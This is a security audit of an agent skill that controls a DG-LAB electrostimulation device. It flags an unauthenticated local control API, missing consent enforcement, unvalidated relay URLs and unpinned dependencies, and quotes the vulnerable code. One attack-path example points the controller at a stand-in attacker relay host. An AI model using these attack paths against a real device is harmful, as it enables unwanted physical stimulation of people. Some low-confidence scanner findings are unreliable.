Back to skill

Security audit

DG-LAB Control

Security checks for vulnerabilities and agentic risk

Overview

This skill openly controls a physical electrostimulation device, but its local control API and installation workflow leave important safety and access checks unenforced.

Review before installing. Use only with an intentionally paired DG-LAB device, keep the relay local and trusted, do not expose or share the local API port, and treat any local process on the same machine as able to send device-control commands. Prefer a version that adds API authentication, server-side consent/channel enforcement, pinned dependencies, and stricter relay validation.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/ws_client.py:391
Finding
Physical device safety workflow is not enforced by the controller<![CDATA[ ## Vulnerability Details **File Location**: `scripts/ws_client.py:391-442`; related requirements in `SKILL.md:105-128` **Vulnerability Type**: Missing server-side safety and authorization state enforcement **Risk Level**: High ### Vulnerable Code ```python def do_POST(self): try: body = self._read_json_body() if self.path == "/strength": result = self._handle_strength(body) self._json_response(200, result) elif self.path == "/waveform": result = self._handle_waveform(body) self._json_response(200, result) elif self.path == "/clear": channel = body.get("channel", "A") self._run_async(self.session.clear_channel(channel)) self._json_response(200, {"ok": True, "action": f"Cleared channel {channel}"}) elif self.path == "/emergency-stop": self._run_async(self.session.emergency_stop()) self._json_response(200, {"ok": True, "action": "Emergency stop executed"}) elif self.path == "/stop": self._json_response(200, {"ok": True, "action": "Shutting down"}) self.session.request_stop() self.server_shutdown.set() else: self._json_response(404, {"error": f"Unknown endpoint: {self.path}"}) except (ValueError, RuntimeError) as e: self._json_response(400, {"error": str(e)}) except Exception as e: logger.exception("API error") self._json_response(500, {"error": str(e)}) def _handle_strength(self, body: dict) -> dict: channel = body.get("channel", "A") action = body.get("action", "set") value = int(body.get("value", 1)) self._run_async(self.session.send_strength(channel, action, value)) return { "ok": True, "action": f"strength {action}", "channel": channel, "value": value, } def _handle_waveform(self, body: dict) -> dict: channel = body.get("channel", "A") ...[truncated 2543 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Add explicit server-side safety state to `DGLabSession`, initially set to unconfirmed. 2. Add a dedicated confirmation operation that records: - Completion of the required safety checklist. - The authorized channel set. - The current pairing identifier. - Confirmation time. 3. Reject `/strength`, `/waveform`, and `/clear` unless confirmation is valid for the current pairing. 4. Reject commands for channels not included in the authorized set. 5. Remove default channel selection; require an explicit valid channel in every request. 6. Reset consent and authorized-channel state after disconnect, pairing changes, controller restart, or reported channel changes. 7. Keep `/emergency-stop` available regardless of confirmation state. 8. Start paired sessions with both channel strengths set to zero where protocol behavior permits. 9. Add tests proving that output is rejected before confirmation and on unauthorized channels. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/ws_client.py:391
Finding
Unauthenticated loopback HTTP API permits local physical-device control<![CDATA[ ## Vulnerability Details **File Location**: `scripts/ws_client.py:391-493` **Vulnerability Type**: Missing authentication and caller authorization **Risk Level**: High ### Vulnerable Code ```python def do_POST(self): try: body = self._read_json_body() if self.path == "/strength": result = self._handle_strength(body) self._json_response(200, result) elif self.path == "/waveform": result = self._handle_waveform(body) self._json_response(200, result) elif self.path == "/clear": channel = body.get("channel", "A") self._run_async(self.session.clear_channel(channel)) self._json_response(200, {"ok": True, "action": f"Cleared channel {channel}"}) elif self.path == "/emergency-stop": self._run_async(self.session.emergency_stop()) self._json_response(200, {"ok": True, "action": "Emergency stop executed"}) elif self.path == "/stop": self._json_response(200, {"ok": True, "action": "Shutting down"}) self.session.request_stop() self.server_shutdown.set() ``` ```python def run_http_server(port: int, session: DGLabSession, loop: asyncio.AbstractEventLoop, shutdown_event: threading.Event): handler = partial(APIHandler) handler.session = session handler.loop = loop handler.server_shutdown = shutdown_event # Attach class-level attributes APIHandler.session = session APIHandler.loop = loop APIHandler.server_shutdown = shutdown_event httpd = HTTPServer(("127.0.0.1", port), APIHandler) ``` ### Technical Analysis Binding the service to `127.0.0.1` prevents direct connections from ordinary remote hosts, but loopback binding is not an authentication mechanism. Every process running in the same host networking context can access the API. The API does not require a bearer token, session secret, client certificate, ope ...[truncated 1402 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Generate a cryptographically random, per-run API token. 2. Require the token in an `Authorization: Bearer ...` header on every endpoint, including status endpoints that expose identifiers. 3. Pass the token to the intended Agent through a protected mechanism rather than command-line arguments visible to other processes. 4. Prefer an operating-system-protected Unix domain socket on supported platforms, with permissions restricted to the owning user. 5. If HTTP must be retained, continue binding exclusively to loopback and fail closed if another interface is requested. 6. Enforce a small maximum request-body size before reading from the socket. 7. Require `Content-Type: application/json` for JSON endpoints. 8. Consider Origin validation as defense in depth against browser-mediated local requests, while not treating it as a replacement for authentication. 9. Avoid exposing pairing identifiers unless required by an authenticated caller. 10. Add audit logging for rejected and accepted control requests without logging sensitive tokens. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/ws_client.py:120
Finding
Arbitrary WebSocket relay destinations contradict the documented local trust boundary<![CDATA[ ## Vulnerability Details **File Location**: `scripts/ws_client.py:120-129`; destination accepted at `scripts/ws_client.py:502` **Vulnerability Type**: Unrestricted external endpoint and insecure transport configuration **Risk Level**: Medium ### Vulnerable Code ```python @property def qr_url(self) -> str | None: if not self.client_id: return None return ( f"https://www.dungeon-lab.com/app-download.php" f"#DGLAB-SOCKET#{self.ws_url}/{self.client_id}" ) ``` ```python parser.add_argument( "--ws-url", required=True, help="WebSocket relay server URL (e.g. ws://localhost:9999)" ) ``` The supplied value is later used directly: ```python self._ws = await websockets.connect( self.ws_url, ping_interval=30, ping_timeout=10, close_timeout=5, ) ``` ### Technical Analysis Project documentation states that control communication remains on the local machine or local network. The implementation does not enforce that boundary. `--ws-url` accepts an arbitrary destination and passes it directly to `websockets.connect`. There is no validation of: - The URI scheme. - Whether the host resolves to loopback or an approved local address. - Whether TLS is required for a non-loopback destination. - Whether the relay is explicitly trusted. - Whether redirects or DNS resolution produce an unexpected destination. The selected relay URL and the issued client identifier are also embedded into the pairing URL. If a user is induced to start the controller with an attacker-controlled relay, the paired application will be directed to that relay. This is not evidence that the bundled project intentionally exfiltrates data. It is a configuration weakness that makes the stated local-only privacy boundary unenforced. ### Attack Path 1. An attacker, unsafe wrapper, or misleading instruction supplies an external relay URL: ```bash python scripts/ws_client.py \ --ws-url ws://attacker-controlled.example:9999 \ --st ...[truncated 1013 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Default the relay URL internally to `ws://127.0.0.1:9999`. 2. In normal mode, permit only literal loopback addresses or hostnames that resolve exclusively to loopback. 3. Add an explicit opt-in option such as `--allow-remote-relay` for non-local destinations. 4. Require `wss://` whenever remote mode is enabled. 5. Display the normalized destination and a prominent trust warning before generating the pairing code. 6. Reject URLs containing unexpected user information, query parameters, fragments, or paths if those forms are unsupported by the protocol. 7. Re-resolve and validate destination addresses when connecting to reduce hostname-based boundary bypasses. 8. Update the documentation and privacy statement so they accurately distinguish enforced local mode from optional remote mode. 9. Where possible, authenticate the relay and validate its TLS certificate and expected identity. ]]>

T08 · Insecure Dependencies

Warning
Location
scripts/requirements.txt:1
Finding
Mutable and incompletely pinned third-party installation dependencies<![CDATA[ ## Vulnerability Details **File Location**: `scripts/requirements.txt:1`; related installation commands in `SKILL.md:55-66` and `README.md:31-35` **Vulnerability Type**: Unpinned dependencies and mutable upstream source installation **Risk Level**: Medium ### Vulnerable Code ```text websockets>=12.0 ``` The documented installation workflow also uses mutable upstream state: ```bash pip install websockets ``` ```bash cd ~ && git clone https://github.com/DG-LAB-OPENSOURCE/DG-LAB-OPENSOURCE.git cd ~/DG-LAB-OPENSOURCE/socket/v2/backend && npm install ``` ### Technical Analysis The Python requirement specifies only a lower bound, so future versions can be installed without review. The Skill instructions are less restrictive and install the latest available `websockets` release directly. The relay component is cloned without pinning a reviewed commit or release tag. Its npm dependencies are then installed from the cloned repository. The audited artifact does not include the relay repository, its lockfile, or its dependency tree, so those components are outside the reviewed code base and can change independently after this audit. No malicious dependency or compromised upstream source was identified in the reviewed files. The confirmed issue is that installation is not reproducible and allows the effective dependency set to change after review. ### Attack Path 1. A future upstream Python package, relay repository revision, or transitive npm dependency becomes compromised or introduces unsafe behavior. 2. A user or Agent follows the documented installation process. 3. `pip` resolves a newer allowed Python version, or `git clone` retrieves the then-current default branch. 4. `npm install` resolves or installs the relay's dependency graph and may execute package lifecycle scripts. 5. The changed code executes during installation or when the controller and relay are started. The exploitability depends on a compromised or unsafe upstream update; no such ...[truncated 574 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Pin the Python dependency to an exact reviewed version. 2. Use hash verification, such as a requirements file generated with trusted hashes and installed using `pip --require-hashes`. 3. Keep development constraints separate from reproducible runtime dependencies. 4. Pin the relay repository to a reviewed commit hash or signed release tag. 5. Verify the repository origin and commit before running installation commands. 6. Retain and enforce a reviewed npm lockfile using `npm ci` rather than unconstrained `npm install`. 7. Review npm lifecycle scripts and consider disabling them during installation when they are unnecessary. 8. Document the exact dependency versions and relay commit included in each audited release. 9. Re-audit dependencies before updating pins. 10. Avoid automatically installing changing external components without explicit user confirmation. ]]>
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
Findings (14)

Natural-Language Policy Violations

Medium
Confidence
93% confidence
Finding
The skill documentation is entirely in Chinese, including setup, usage, and safety instructions, with no indication that other languages are supported or that the user can choose a language. This creates a natural-language policy concern because the skill effectively enforces a specific language without documented user opt-in or justification.

Lp3

Medium
Category
MCP Least Privilege
Confidence
88% confidence
Finding
The skill declares no explicit tool/permission scope even though it instructs the agent to read local files and interact with local/network services. Without least-privilege constraints, an agent framework may grant broader filesystem or execution access than necessary, increasing the blast radius if the skill is misused or invoked unexpectedly.

Vague Triggers

Medium
Confidence
95% confidence
Finding
The activation description contains broad trigger phrases like pulse device, e-stim, waveform control, and hardware interaction, which can cause the skill to activate in ambiguous contexts. Because this skill controls a real electrostimulation device, unintended invocation is more dangerous than in a purely informational skill and could lead to unsafe control flows being initiated.

External Transmission

Medium
Category
Data Exfiltration
Content
使用示例:
```bash
curl -X POST http://127.0.0.1:8899/waveform \
  -H "Content-Type: application/json" \
  -d '{"channel":"A","preset":"breathing","duration":10}'
```
Confidence
90% confidence
Finding
The skill sends control commands over HTTP to a localhost service that in turn drives a physical electrostimulation device. Even though the endpoint is local, this is still an external transmission to another process controlling safety-relevant hardware; misuse, prompt injection, or accidental invocation could result in unwanted physical stimulation.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
This protocol documentation exposes direct commands for changing stimulation strength and sending arbitrary waveform patterns to a physical e-stim device, but it provides no safety constraints, user-consent requirements, rate limits, or hazard warnings. In the context of a skill specifically designed to control DG-LAB pulse hardware, this omission materially increases the risk of unsafe or coercive physical actuation, including abrupt intensity changes or prolonged stimulation.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
This documentation provides concrete waveform encodings including full-strength examples for a physical e-stim device, but omits any safety guidance, contraindications, consent requirements, or warnings about bodily harm. In the context of a skill whose stated purpose is to control DG-LAB hardware and manage strength/output, this omission increases the chance that downstream agents or users will generate and transmit unsafe stimulation patterns.

Natural-Language Policy Violations

Low
Confidence
98% confidence
Finding
The text directs the agent to "统一使用 '郊狼'" when communicating with the user, which forces a specific language/terminology choice regardless of the user's preferred language. This is a natural-language policy issue because it removes user choice instead of adapting or asking preference.

Natural-Language Policy Violations

Low
Confidence
72% confidence
Finding
SQP-3 covers natural-language policy violations such as forcing a specific language without user opt-in. This file presents all instructional content in Chinese and does not mention language options, localization scope, or a justified region-specific constraint.

Natural-Language Policy Violations

Low
Confidence
84% confidence
Finding
The JSON defines user-facing `name_zh` fields throughout the file, indicating a fixed Chinese-language presentation for preset names. There is no accompanying alternative locale field or opt-in mechanism in this file, so the skill appears to enforce a specific language without user choice.

Unpinned Dependencies

Low
Category
Supply Chain
Content
websockets>=12.0
Confidence
97% confidence
Finding
The dependency is specified as `websockets>=12.0`, which allows any future major or minor release to be installed. This weakens supply-chain control and reproducibility, and could unexpectedly introduce a vulnerable or breaking version into a skill that directly controls hardware over WebSocket.

Unverifiable Dependency: websockets has 4 known advisory(ies) (CVE-2018-1000518 (websockets is vulnerable to denial of service by memory exhaustion); CVE-2021-33880 (Observable Timing Discrepancy in aaugustin websockets library); CVE-2018-1000518 (aaugustin websockets version 4 contains a CWE-409: Improper Handling of Highly C) +1 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
93% confidence
Finding
Because the manifest does not pin the `websockets` version, there is no assurance that deployment will avoid releases affected by known advisories. In this skill's context, the library is central to device communication, so pulling an affected version could enable denial of service, information leakage, or other websocket-layer issues that disrupt or interfere with pulse-device control.

Intent-Code Divergence

Low
Confidence
89% confidence
Finding
The module docstring's HTTP endpoint list presents the exposed API surface, but it does not include POST /emergency-stop even though the handler implements it later. Because this endpoint can immediately zero both channels and clear queues, the documented interface actively misstates what commands the local control API accepts.

Natural-Language Policy Violations

Low
Confidence
96% confidence
Finding
The /qrcode endpoint returns a hard-coded Chinese hint string ("APP扫描此二维码完成配对") to all users. This imposes a specific language in a user-facing response without offering locale choice or documenting that the skill is intentionally Chinese-only.

Dynamic attribute access via getattr()

Low
Category
Dangerous Code Execution
Content
args = parser.parse_args()

    logging.basicConfig(
        level=getattr(logging, args.log_level),
        format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
        datefmt="%H:%M:%S",
    )
Confidence
50% confidence
Finding
Dynamic getattr() with a non-literal attribute name can access arbitrary object attributes, potentially bypassing access controls.

Static analysis

No suspicious patterns detected.